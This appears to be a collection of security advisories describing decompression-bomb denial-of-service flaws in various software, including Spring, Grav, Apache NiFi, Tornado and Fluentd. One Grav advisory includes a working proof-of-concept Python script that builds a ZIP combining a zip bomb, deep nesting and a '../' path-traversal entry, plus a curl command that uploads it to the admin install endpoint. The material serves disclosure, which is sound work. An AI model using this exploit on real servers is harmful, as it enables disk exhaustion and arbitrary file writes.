CVE-2026-58107 is a medium severity vulnerability in Ericsson CodeChecker where the massStoreRun processing path decompresses attacker-controlled Base64-encoded zlib data without limiting the decompressed size. An authenticated user with permission to store analysis runs can submit a highly compressed payload that expands significantly in memory, potentially exhausting process or host memory and disk space, causing denial of service.
CVE-2026-59274 is a medium severity vulnerability in Spring Integration's UnZipTransformer component. The vulnerability arises because the component does not limit the decompressed size or number of entries when processing zip archives. An attacker can exploit this by sending a specially crafted zip archive that exhausts JVM heap memory, resulting in a denial-of-service (DoS) condition. This affects specific versions of Spring Integration including 6.4.0 through 6.4.12, 6.5.0 through 6.5.10, 7.0.0 through 7.0.5, and exactly 7.1.0. No official patch or remediation guidance is currently provided. No known exploits are reported in the wild.
CVE-2026-47860 is a medium severity vulnerability in Spring AMQP involving improper handling of highly compressed data, also known as a decompression bomb. An attacker able to publish to a queue consumed by an application with message decompression enabled can crash the consumer JVM by sending a single approximately 1 MB message. This affects certain versions of Spring AMQP including 4.1.0, 4.0.0 to 4.0.4, 3.2.0 to 3.2.12, and 2.4.18 and earlier. There is no confirmed patch or official remediation available at this time.
CVE-2026-61690 is a vulnerability in the Grav file-based web platform prior to version 2.0.1. The issue arises from improper handling of highly compressed ZIP archives in the ZipArchiver::extract() function, which does not enforce limits on uncompressed size, file count, or nesting depth. This can lead to resource exhaustion such as disk space or inode depletion, causing site unavailability. The vulnerability is fixed in Grav version 2.0.1.
CVE-2026-75936 is a high-severity vulnerability in Amazon Ion Java before version 1.12.0. It involves improper handling of highly compressed data in the GZIP auto-decompression handler, which can lead to a denial of service when processing crafted compressed Ion documents that expand to very large sizes upon decompression. The issue can be mitigated by upgrading to version 1.12.0 and configuring the parser to disable GZIP decompression or limit buffer size when handling untrusted input.
Malcolm's upload-processing pipeline (scripts/safe-extract.py) enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives (zip/tar/rar/7z via libarchive), but those limits are not applied when the uploaded file is a single-stream compressed format (.gz, .bz2, .xz, .lzma, .lz) that isn't a .tar.*-style archive. Any authenticated user permitted to upload PCAP/log files can upload a small, highly compressible file (e.g. a gzip bomb) that decompresses to an effectively unbounded size on disk, exhausting the shared Docker volume used by OpenSearch, Logstash, Arkime, and Zeek, and disrupting the platform for all users.
CVE-2026-75047 is a denial-of-service vulnerability in JetBrains YouTrack versions before 2026.2.18177. It involves a decompression bomb attack via the import endpoint, which can cause resource exhaustion and service disruption. The vulnerability is fixed in version 2026.2.18177.
Apache NiFi 1.5.0 through 2.10.0 support gzip-encoded HTTP requests for the application REST API using a Jersey encoding filter. The framework enforced a configurable maximum request size on the compressed payload rather than the decompressed output, allowing a malicious client to send crafted requests that could consume excessive amounts of memory. Upgrading to Apache NiFi 2.11.0 is the recommended mitigation, which relocates response compression to Jetty Server and disables decompression of gzip-encoded HTTP requests.
PhpSpreadsheet versions up to 5.8.0 (and several earlier branches) contain a vulnerability in the Gnumeric file reader where attacker-supplied .gnumeric files starting with gzip magic bytes can cause excessive memory consumption. This happens because the library calls gzdecode() on the full compressed contents without limiting the decompressed size, potentially leading to a denial of service by crashing the PHP process. The issue is fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift Ruby bindings.
This issue affects Apache Thrift: before 0.24.0.
Users are recommended to upgrade to version 0.24.0, which fixes the issue.
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift C++, Java, Python, Go, D, C/GLib bindings.
This issue affects Apache Thrift: before 0.24.0.
Users are recommended to upgrade to version 0.24.0, which fixes the issue.
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift Python bindings.
This issue affects Apache Thrift: before 0.24.0.
Users are recommended to upgrade to version 0.24.0, which fixes the issue.
CrowdSec offers crowdsourced protection against malicious IPs. From 1.7.0 until 1.7.8, the LAPI router used gin-contrib/gzip with DefaultDecompressHandle globally in pkg/apiserver/controllers/controller.go, causing /v1/watchers and /v1/watchers/login to decompress unauthenticated gzip-compressed JSON request bodies without enforcing a maximum decompressed size and allowing excessive heap allocation that can make LAPI unreachable. This issue is fixed in version 1.7.8.
Centrifugo is an open-source scalable real-time messaging server. Prior to 6.8.4, Centrifugo unidirectional WebSocket transport with uni_websocket.compression enabled enforced uni_websocket.message_size_limit against compressed wire-frame length in internal/websocket/conn.go advanceFrame, but ReadMessage used io.ReadAll after decompression without an output cap, allowing unauthenticated requests to /connection/uni_websocket to trigger large memory and CPU consumption. This issue is fixed in version 6.8.4.
Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry's ZIP central-directory header (ZipArchive::statIndex()['size']) and rejects archives exceeding system.gpm.archive.max_uncompressed_size before extraction. Because this declared size is attacker-forgeable and is not cross-checked against the actual inflated stream, a crafted archive declaring tiny per-entry sizes passes the cap while extractTo() writes the real, much larger content, filling disk or exhausting inodes. The archive must be supplied by a package source or admin upload (admin/operator trust). Fixed in 2.0.2. This is an incomplete fix for GHSA-928x-9mpw-8h56.
Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total *compressed* size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. `HTTPServer` is not affected in its default configuration, but it is if `decompress_request=True` is set.
This bug is fixed in Tornado 6.5.6. `max_body_size` is now checked both for the compressed and cumulative decompressed size of the response.
Prior to upgrading, this issue can be mitigated by setting `decompress_response=False` or using `CurlAsyncHTTPClient`.
An attacker with access to an HX 10.0.0 and previous versions, may send specially-crafted data to the HX console. The malicious detection would then trigger decompression of a large file that consumes an excessive amount of system resources thus causing a Denial of Service.
### Summary
An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method `Installer::unZip()` calls `ZipArchive::extractTo()` without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion.
### Details
The vulnerability is in `system/src/Grav/Common/GPM/Installer.php:176-208` (`Installer::unZip()`). The `ZipArchive::extractTo()` call at line 184 is not preceded by any validation of the archive contents.
Missing validation:
- ❌ No total uncompressed size check (decompression bomb — CWE-409)
- ❌ No entry count check (inode exhaustion)
- ❌ No directory nesting depth check (stack overflow in `Folder::doDelete()` — CWE-674)
The subsequent cleanup call `Folder::delete($destination)` at line 189 recursively deletes every subdirectory without depth limit (`Folder.php:531-547`). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk.
The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for `../` in entry paths and does not add any size, count, or depth limits.
### PoC
1. Generate the malicious ZIP:
python3 cve_poc_grav_zip.py:
```python
#!/usr/bin/env python3
"""
CVE PoC — Grav CMS Installer::unZip()
Zip Bomb + Zip Slip + Deep Nesting
ZIP file to attach to the CVE advisory.
Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409)
which has NO CVE — extracted size/depth/count have no limits.
"""
import zipfile, os, sys
OUT = "/tmp/cve_poc_grav.zip"
def build():
with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z:
# --- Zip Slip: arbitrary write outside target ---
z.writestr("../../../tmp/CVE_POC_SLIP", "ZIP SLIP: writes outside target\n")
# --- Deep nesting: 100 levels → Folder::delete() has no depth limit ---
for i in range(100):
z.writestr(f"deep/{'x/' * i}.keep", "")
# --- Compression bomb: 100 identical files = ratio ~ 196:1 ---
for i in range(100):
z.writestr(f"bomb/{i}.dat", b"A" * 100_000)
with zipfile.ZipFile(OUT) as z:
infos = z.infolist()
compressed = os.path.getsize(OUT)
uncompressed = sum(e.file_size for e in infos)
slip = any(".." in e.filename for e in infos)
depths = [e.filename.count('/') for e in infos]
print("=" * 60)
print("CVE PoC — Grav CMS Installer::unZip()")
print("Zip Bomb | Zip Slip | Deep Nesting")
print("=" * 60)
print(f"File : {OUT}")
print(f"ZIP size : {compressed:,} B ({compressed/1024:.1f} KB)")
print(f"Uncompressed : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)")
print(f"Ratio : {uncompressed/compressed:.0f}:1")
print(f"Entries : {len(infos)}")
print(f"Max depth : {max(depths) if depths else 0}")
print(f"Zip Slip (../) : {'YES' if slip else 'NO'}")
print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall")
print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write")
if __name__ == "__main__":
build()
```
3. Authenticate as admin.super and retrieve the nonce from /admin
4. Upload through Direct Install:
```
curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \
-H 'Cookie: grav-admin=<SESSION>' \
-F 'admin-nonce=<NONCE>' \
-F 'uploaded_file=@/tmp/cve_poc_grav.zip'
```
Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion.
### Impact
An authenticated administrator (admin.super) can:
- Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs)
- Exhaust inodes via thousands of small files
- Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently
- Partially or fully deny service to all users (both authenticated and unauthenticated)
Fluentd collects events from various data sources and writes them to files, RDBMS, NoSQL, IaaS, SaaS, Hadoop and so on. Prior to 1.19.3, Fluentd's in_http and in_forward plugins support gzip-compressed data but enforce limits only on compressed payloads through settings such as body_size_limit and chunk_size_limit, allowing crafted compressed payloads to decompress in memory to an excessive size and cause denial of service through memory exhaustion. This issue is fixed in version 1.19.3.